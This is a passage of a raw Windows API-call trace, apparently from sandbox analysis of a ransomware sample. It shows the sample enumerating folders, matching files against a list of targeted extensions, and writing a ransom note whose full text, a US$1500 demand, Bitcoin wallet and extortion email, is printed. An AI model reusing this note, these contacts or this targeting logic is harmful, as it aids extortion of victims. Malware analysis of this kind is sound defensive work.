(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.vmdk") returned 0 [0112.571] lstrlenA (lpString="*.vmdk") returned 6 [0112.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.vdi") returned 0 [0112.571] lstrlenA (lpString="*.vdi") returned 5 [0112.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.lay6") returned 0 [0112.571] lstrlenA (lpString="*.lay6") returned 6 [0112.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.mpeg") returned 0 [0112.571] lstrlenA (lpString="*.mpeg") returned 6 [0112.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.djvu") returned 0 [0112.571] lstrlenA (lpString="*.djvu") returned 6 [0112.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.tiff") returned 0 [0112.571] lstrlenA (lpString="*.tiff") returned 6 [0112.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.backup") returned 0 [0112.571] lstrlenA (lpString="*.backup") returned 8 [0112.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.pdf") returned 0 [0112.571] lstrlenA (lpString="*.pdf") returned 5 [0112.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.cert") returned 0 [0112.571] lstrlenA (lpString="*.cert") returned 6 [0112.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.docm") returned 0 [0112.571] lstrlenA (lpString="*.docm") returned 6 [0112.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.xlsm") returned 0 [0112.571] lstrlenA (lpString="*.xlsm") returned 6 [0112.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.dwg") returned 0 [0112.572] lstrlenA (lpString="*.dwg") returned 5 [0112.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.nd") returned 0 [0112.572] lstrlenA (lpString="*.nd") returned 4 [0112.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.tlg") returned 0 [0112.572] lstrlenA (lpString="*.tlg") returned 5 [0112.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.lgb") returned 0 [0112.572] lstrlenA (lpString="*.lgb") returned 5 [0112.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.mov") returned 0 [0112.572] lstrlenA (lpString="*.mov") returned 5 [0112.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.xdw") returned 0 [0112.572] lstrlenA (lpString="*.xdw") returned 5 [0112.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.ods") returned 0 [0112.572] lstrlenA (lpString="*.ods") returned 5 [0112.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.wav") returned 0 [0112.572] lstrlenA (lpString="*.wav") returned 5 [0112.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.mp3") returned 0 [0112.572] lstrlenA (lpString="*.mp3") returned 5 [0112.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.aiff") returned 0 [0112.572] lstrlenA (lpString="*.aiff") returned 6 [0112.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.flac") returned 0 [0112.572] lstrlenA (lpString="*.flac") returned 6 [0112.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.m4a") returned 0 [0112.572] lstrlenA (lpString="*.m4a") returned 5 [0112.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.csv") returned 0 [0112.572] lstrlenA (lpString="*.csv") returned 5 [0112.572] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18ea09c6, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x18ea09c6, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x18ec6b26, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x2ad000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.572] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.573] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18f85207, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x18f85207, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x18f85207, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0765c6422b48cd504d2fba3765c78c79", cAlternateFileName="0765C6~1")) returned 0 [0112.573] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.573] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e50aacb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5e50aacb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5e50aacb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.SqlXml", cAlternateFileName="SYSTEM~1.SQL")) returned 1 [0112.573] lstrcmpA (lpString1=".", lpString2="System.Data.SqlXml") returned -1 [0112.573] lstrcmpA (lpString1="..", lpString2="System.Data.SqlXml") returned -1 [0112.573] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.573] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Data.SqlXml" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml" [0112.573] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml") returned 65 [0112.573] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e50aacb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5e50aacb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5e50aacb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.573] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.573] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e50aacb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5e50aacb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5e50aacb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.573] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.573] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.573] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e50aacb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5e50aacb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5e50aacb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="7111bf18edb7bf9d986782131f797acb", cAlternateFileName="7111BF~1")) returned 1 [0112.573] lstrcmpA (lpString1=".", lpString2="7111bf18edb7bf9d986782131f797acb") returned -1 [0112.573] lstrcmpA (lpString1="..", lpString2="7111bf18edb7bf9d986782131f797acb") returned -1 [0112.573] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\*.*") returned="*.*" [0112.573] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\", lpString2="7111bf18edb7bf9d986782131f797acb" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb" [0112.573] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb") returned 98 [0112.573] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e50aacb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5e50aacb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5e50aacb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.574] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.574] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e50aacb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5e50aacb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5e50aacb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.574] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.574] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.574] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e400129, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5e400129, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5e44c3ea, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x34da00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.SqlXml.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.574] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.574] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.SqlXml.ni.dll") returned -1 [0112.574] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.SqlXml.ni.dll") returned -1 [0112.574] lstrcmpiA (lpString1="", lpString2="System.Data.SqlXml.ni.dll") returned -1 [0112.574] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\*.*") returned="*.*" [0112.574] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\" [0112.574] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\") returned="" [0112.574] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\HOW TO DECRYPT FILES.txt" [0112.574] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.sqlxml\\7111bf18edb7bf9d986782131f797acb\\how to decrypt files.txt")) returned 0xffffffff [0112.574] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.sqlxml\\7111bf18edb7bf9d986782131f797acb\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.575] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.575] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.576] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.576] CloseHandle (hObject=0x90) returned 1 [0112.576] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\", lpString2="System.Data.SqlXml.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll" [0112.576] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.ems") returned 0 [0112.577] lstrlenA (lpString="*.ems") returned 5 [0112.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.db") returned 0 [0112.577] lstrlenA (lpString="*.db") returned 4 [0112.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.dbf") returned 0 [0112.577] lstrlenA (lpString="*.dbf") returned 5 [0112.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.myox") returned 0 [0112.577] lstrlenA (lpString="*.myox") returned 6 [0112.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.myo") returned 0 [0112.577] lstrlenA (lpString="*.myo") returned 5 [0112.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.qbw") returned 0 [0112.577] lstrlenA (lpString="*.qbw") returned 5 [0112.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.qbb") returned 0 [0112.577] lstrlenA (lpString="*.qbb") returned 5 [0112.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.qbm") returned 0 [0112.577] lstrlenA (lpString="*.qbm") returned 5 [0112.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.qbo") returned 0 [0112.577] lstrlenA (lpString="*.qbo") returned 5 [0112.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.qbx") returned 0 [0112.577] lstrlenA (lpString="*.qbx") returned 5 [0112.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.qba") returned 0 [0112.577] lstrlenA (lpString="*.qba") returned 5 [0112.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.qby") returned 0 [0112.577] lstrlenA (lpString="*.qby") returned 5 [0112.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.qbj") returned 0 [0112.577] lstrlenA (lpString="*.qbj") returned 5 [0112.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.ofx") returned 0 [0112.577] lstrlenA (lpString="*.ofx") returned 5 [0112.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.qif") returned 0 [0112.577] lstrlenA (lpString="*.qif") returned 5 [0112.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.mye") returned 0 [0112.577] lstrlenA (lpString="*.mye") returned 5 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.mbox") returned 0 [0112.578] lstrlenA (lpString="*.mbox") returned 6 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.eml") returned 0 [0112.578] lstrlenA (lpString="*.eml") returned 5 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.pst") returned 0 [0112.578] lstrlenA (lpString="*.pst") returned 5 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.ost") returned 0 [0112.578] lstrlenA (lpString="*.ost") returned 5 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.idx") returned 0 [0112.578] lstrlenA (lpString="*.idx") returned 5 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.dbx") returned 0 [0112.578] lstrlenA (lpString="*.dbx") returned 5 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.sql") returned 0 [0112.578] lstrlenA (lpString="*.sql") returned 5 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.mdb") returned 0 [0112.578] lstrlenA (lpString="*.mdb") returned 5 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.fdb") returned 0 [0112.578] lstrlenA (lpString="*.fdb") returned 5 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.wab") returned 0 [0112.578] lstrlenA (lpString="*.wab") returned 5 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.dat") returned 0 [0112.578] lstrlenA (lpString="*.dat") returned 5 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.txt") returned 0 [0112.578] lstrlenA (lpString="*.txt") returned 5 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.jpeg") returned 0 [0112.578] lstrlenA (lpString="*.jpeg") returned 6 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.jpg") returned 0 [0112.578] lstrlenA (lpString="*.jpg") returned 5 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.png") returned 0 [0112.578] lstrlenA (lpString="*.png") returned 5 [0112.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.php") returned 0 [0112.579] lstrlenA (lpString="*.php") returned 5 [0112.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.cs") returned 0 [0112.579] lstrlenA (lpString="*.cs") returned 4 [0112.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.SqlXml\\7111bf18edb7bf9d986782131f797acb\\System.Data.SqlXml.ni.dll", pszSpec="*.cpp") returned 0 [0112.579] lstrlenA (lpString="*.cpp") returned 5 [0112.579] PathMatchSpecA 